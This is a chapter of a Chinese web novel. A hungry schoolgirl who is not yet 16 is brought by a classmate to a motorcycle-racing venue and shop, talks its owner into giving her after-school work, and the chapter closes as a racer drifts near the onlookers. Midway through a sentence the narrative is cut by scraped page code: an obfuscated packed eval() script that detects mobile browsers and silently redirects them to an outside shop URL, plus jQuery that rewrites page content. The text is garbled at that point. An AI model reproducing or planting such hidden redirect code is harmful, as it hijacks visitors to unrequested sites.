aut10
甘棠一下午都心不在焉,就连她一向最擅长的历史都没有默写全对。
“甘棠,你怎么回事,戊戌变法的时间都不知道了?我看你是不是想挨揍了。”
她的肚子饿的直发酸,却不及老师的斥责和台下同学的奚笑声带给她的羞耻感强烈。
瘦削的脸颊上烧红一片,她低着头向老师致歉。
“回去把这个时间给我抄20遍,明天上交。”
“我知道了,老师。”
戴眼镜的古板老头摆手,对她摇了摇头,让她回座位坐下。
好不容易熬到放学,甘棠的脸还是热的发烫,仿佛刚从火炉里捞出来般,她准时背上书包,但没有马上离开,而是等了将近半小时,班里的同学都走的差不多了她才弓着身子出了教室。
学校侧门口的人群已经消散,只剩下几个正在打扫卫生的低年级学生。
秋叶落了一地,干枯之后脉络圈起边缘,脚踩在上面原本应该是解压的,但甘棠却觉得如履薄冰般难熬,害怕下一秒就有人来捉住她即将做“坏事”的羞愧心思。
“这里!”孙湛看着鬼鬼祟祟的身影,本就不高,现下更像一个小老头走路。
甘棠出了一身急汗,她听到孙湛的声音先是停住脚步,远远地看向他的方向,巡视了一圈,才小呼了一口气。
幸好,没有看到他的身影。
她没敢再耽误,向孙湛小跑过去,身子站立的瞬间有一瞬不稳,眼睛所到之处,她看见了许多星星在旋转。
“哎,你没事吧。”孙湛虚扶了一把她的胳膊,表情有些奇怪。
甘棠反应却极大,迅速将胳膊抽回,“没事,我们快走吧。”
他们坐上末班公交车,半个小时后到了一处空旷的街道。
天已经完全黑下来,看不清身边的路,只有远处一盏昏黄的路灯浅浅晕着小部分光线。
再细看,甘棠注意到那处房屋上悬挂着一顶红色头盔,大门的颜色看不清,但是开着的,隐约能看见门口放着一扇柜子,布局看起来有些怪异,在这乌漆嘛黑的气氛中让人毛骨悚然。
身后没了脚步声,孙湛一扭头就看见身后人的脸上煞白一片,一双眸子泛着亮光。
“走呀。”
甘棠吓得舌头直打结,只怕他将自己带到了什么穷乡僻壤处,然后卖掉,越想越害怕,“我…我不去了。”
饿的有些头晕眼花,她还在合计着能不能跑得过他。
一束透白的光线忽然打出,照在甘棠的脚前。
“你仔细看看,这是在哪?”
孙湛将手电筒往右边一照,“中国邮政”这四个大字完整显露出来。
“这,这里是西矿?”
整个陶矿县城只有一家邮政,就是在陶矿县下面的西矿镇上。
“我不是跟你说这家店在西矿吗?你还担心我把你卖了。”
猛烈跳动的一颗心才稍微归回实处,甘棠沉沉吐了一口气,表情还是有些紧张,“对不起,我以为……”
“要把你卖掉?”
“嗯。”瓮声瓮气地一声肯定,倒让孙湛不知如何接话。
“法治社会,杀人放火的事我可不做,进去吧。”
甘棠盯着他的身影,心里想的却是,你和那个人约架打架的时候怎么没想到是法治社会了。
虽然从外面看这地方给甘棠的第一印象不像是个正经地方,但里面的布局还算中规中矩。
门口高大的柜子里装得全是各式的酒,只因为推拉门是琉璃黄,在灯光的加持下才显得有些瘆人。
她被这些看起来就价值不菲的酒小小震撼了一下。
这里的老板一定很有钱吧。
往里走是一条长长的廊道,水泥色的装饰,最原始的颜色往往会给人一种飘忽不定的感觉,像是进了浓雾之中,辨认不出方向。
直到拐进最里面的大厅。
甘棠捂了捂眼睛,才将那束刺眼的白炽灯完全适应。
“磊哥。”
“来了?”
这是个别有洞天的地方。
跟外面的一样,水泥墙壁和地板,墙上的几道深裂缝上挂了几件衣服,红的,蓝的紫色都有,感觉像是电影里那种很特别的衣服,形状和材质都跟普通衣服不一样,上面还有号码。
简易的几桌铁质方形桌椅放在东墙旁边,她小幅度地转着视线,瞄了几眼更觉得那是从废弃工厂中捡来的废铁,打磨了几下将就成为了吃饭的小餐桌,前方两处货架上摆着琳琅满目的商品。
奇怪的是,明明甘棠听到隐约的交谈声,好像是从很近又很远的地方传来。但眼前的大厅中只有两个男人在废铁桌子上低头大口吞着泡面。
除此之外,只有他们三人站在这里。
她看到被孙湛称为磊哥的男人从右手边的柜台后走出来,平头,瘦高,五官硬朗,带着一股子匪气。
他穿着一身藏青色工装短袖,露出结实的胳膊,小麦色皮肤,右手大臂上有一道大约20公分的狰狞伤疤,一直绵延到短袖里面,气质有些冷,让人有些发怵。
甘棠的双手搅在一起,不敢再端详他。
“你叫甘棠?”
“是。”
“多大了?”
触到关键点,甘棠倏然抬头:“马上16岁了!”害怕他会因为年纪而拒绝自己,所以甘棠故意往大说,其实她的生日在12月31日,还早着呢。
张磊轻蹙眉头,从上往下打量了一圈这个瘦得过分的小姑娘,又看了一眼站得吊儿郎当的孙湛,那眼神似是再问他这信息对不对。
孙湛被这一记凌厉的眼神敲回了神,身子瞬间绷直,“磊哥,我跟你说的都是实话,您可别怀疑我的动机。”
趁这个间隙,甘棠观察着他的眼睛。
狭长型的眼睛,眼皮一单一双,眉型像山峰一样高高耸起。
只不过他的眉眼好像在某个人的脸上看到过……
甘棠越看越觉得熟悉,下一秒男人扫视回来直接打断了她的回忆。
甘棠顿了几秒,抢着开口:“磊哥,你就让我在这里工作吧,我什么都可以学。”
如果这里再不收留他,她的下场估计和桥墩子底下的乞丐没什么区别了。
张磊双手插兜,沉思了几秒,“你只能放学后来这里,工资的话一个小时10元你能接受吗?”
“我能!谢谢您!”略显疲态的眼眸中一瞬间亮堂起来,显现出几分鲜活的生命力。
一个小时10元的话……“我能问一下您这里几点打烊吗?”
她琢磨不出来这里到底属于酒馆还是商店还是饭馆……
“凌晨以后,不过你能做到几点几点走就可以。”横竖都是做好事,张磊看着这小姑娘挺利索,也就送佛送到西,随她去了。
甘棠被这莫大的惊喜砸的有些怔愣,她这是遇到救命恩人了。
“真的谢谢您,您是我的恩人!”少女躬下身子,朝着他鞠了标准九十度的躬,沉重的书包掉出背脊,压得身子又往下了些。
“不用这样,我要是要看你的能力的,现在你去把货架上的价格信息给我弄清楚,别人结账的时候不能算错帐。”
“好!”
说干就干,甘棠从书包中拿出一个本子和一支笔就跑到货架那处去记录信息。
但是她没想到货架也是暗藏玄机,两列货架,前方的一面是商品,小到创可贴,消毒水,大到轮胎,吃食都有。
甘棠有些好奇,为什么会这么杂乱,等记下这些东西转到后方时,她被眼前的物品缠住了脚步。
一股冷意从脚底冒出,顺着血管往上窜。
和墙上的衣服色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093613|195553||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系一样,各色的头盔有序地摆在上面,一尘不染,看起来跟崭新的一样。
她认得,这是骑摩托车带的头盔。
发黄的横格纸张被她攥得发出挠人的声响,折痕爬上娟秀小巧的笔迹,糊了一片。
这里,这里,为什么会有这种东西?
她本能地想逃离,逃离这个一切看起来都很奇怪的地方。
她真的很害怕,很想问问老板在这里会不会碰见那个叫周砥的男生。
可转头一看,柜台处哪里还有那刚才那两人的身影。
不行,甘棠,你得冷静下来。这里距离陶矿县还有些距离,他不一定会来这里啊,而且这里或许只是售卖摩托车零件的地方呢对吧。
你不能退缩,你得凭自己的双手活下去。
要听姐姐的话,做一个善良勇敢的人。
……
“你怎么回事?”张磊拧开那扇大理石门,轰隆的油门声一瞬暴露在耳边,关上门后,门里又恢复安静。
“什么怎么回事?”
“孙湛,我记得你可以不是一个随便大发善心的人啊,怎么,你欺负人家小姑娘了?”
张磊今年刚过32岁生日,还没成家,但一看到甘棠那副可怜样,没由地生出一种难以言状的情绪。
像是爸爸对女儿的那种怜惜之情。
孙湛被他这凶狠的气势吓得没了胆子,“你说啥呢磊哥,我就是看她太可怜,摊上这么个爹,而且她学习也很好,姐姐又离家出走,这不是想到您这尊善佛,我就擅作主张把人带您这来了。”
“真的?”
“真的,她才初三,我之前根本不认识她。”
这话倒是说漏了嘴,骗不过张磊,“那你怎么认识她的。”
孙湛轻咳一声,噤了声,在心里骂了自己一句,怎么这么蠢。总不能告诉他说是自己袖手旁观见人被欺负才认识她,更不能把自己的真实目的说出来。
他得被那两人揍死不可。
“咳。说来也是巧合。”孙湛正想着怎么编排这个慌,远处传来的一阵汽笛声才算是拯救了他,“哎,那不是阿砥吗?他还没走呢?”
蜿蜒曲折的场地上就他一席大红色行头最为显眼,动作也最张扬。
“听说他这次比赛拿了第二名。”
插科打诨的功夫,张磊看透了这小子心思,但也不打算深究,点到为止最好。
“哎,问你个事,现在是周砥他姑姑抚养他?”
“没错。”
“她克扣他生活费?”
“不啊,前阵子还换了新手机呢。”孙湛嘴没把门的,想到什么说什么,“别人还一直传周叔叔还给他留了一笔天价的遗产呢,就不是知道是不是真事。”
这下张磊不说话了,不知道这小子到底打的什么注意。
明明视车如命,从比赛回来就一直在练压弯,跟入魔了一样,怎么叫都没用。
这么个疯法,除了他,也没人敢这么做了。
但有换车的条件,为什么不做呢?
“欸,阿砥!”
周砥第一圈速度并不快,想着找一下重心偏移的时机,左脚稍一用力挑到三档,他感觉到自己大腿部的肌肉有些僵硬,像是要抽筋的感觉。
盔下的双眉轻皱,他远远地就看到了站在场外的两人。
算准时机后,周砥突然加速,红色的残影向孙湛的方向冲去。
“卧槽。”孙湛慌了,“是我啊阿砥。”
张磊却是淡然一笑,早早地往外挪了挪位置。
箭在弦上,蓄力,拉满,又突然泄力,后劲无穷。
红色摩托漂亮地急刹漂移,轮胎擦过地面,扬起漫天灰尘,将孙湛整个人裹了进去,细沙簌簌落下,像天女散花。
“卧槽!”
孙湛的怒骂声,在夜色里炸开。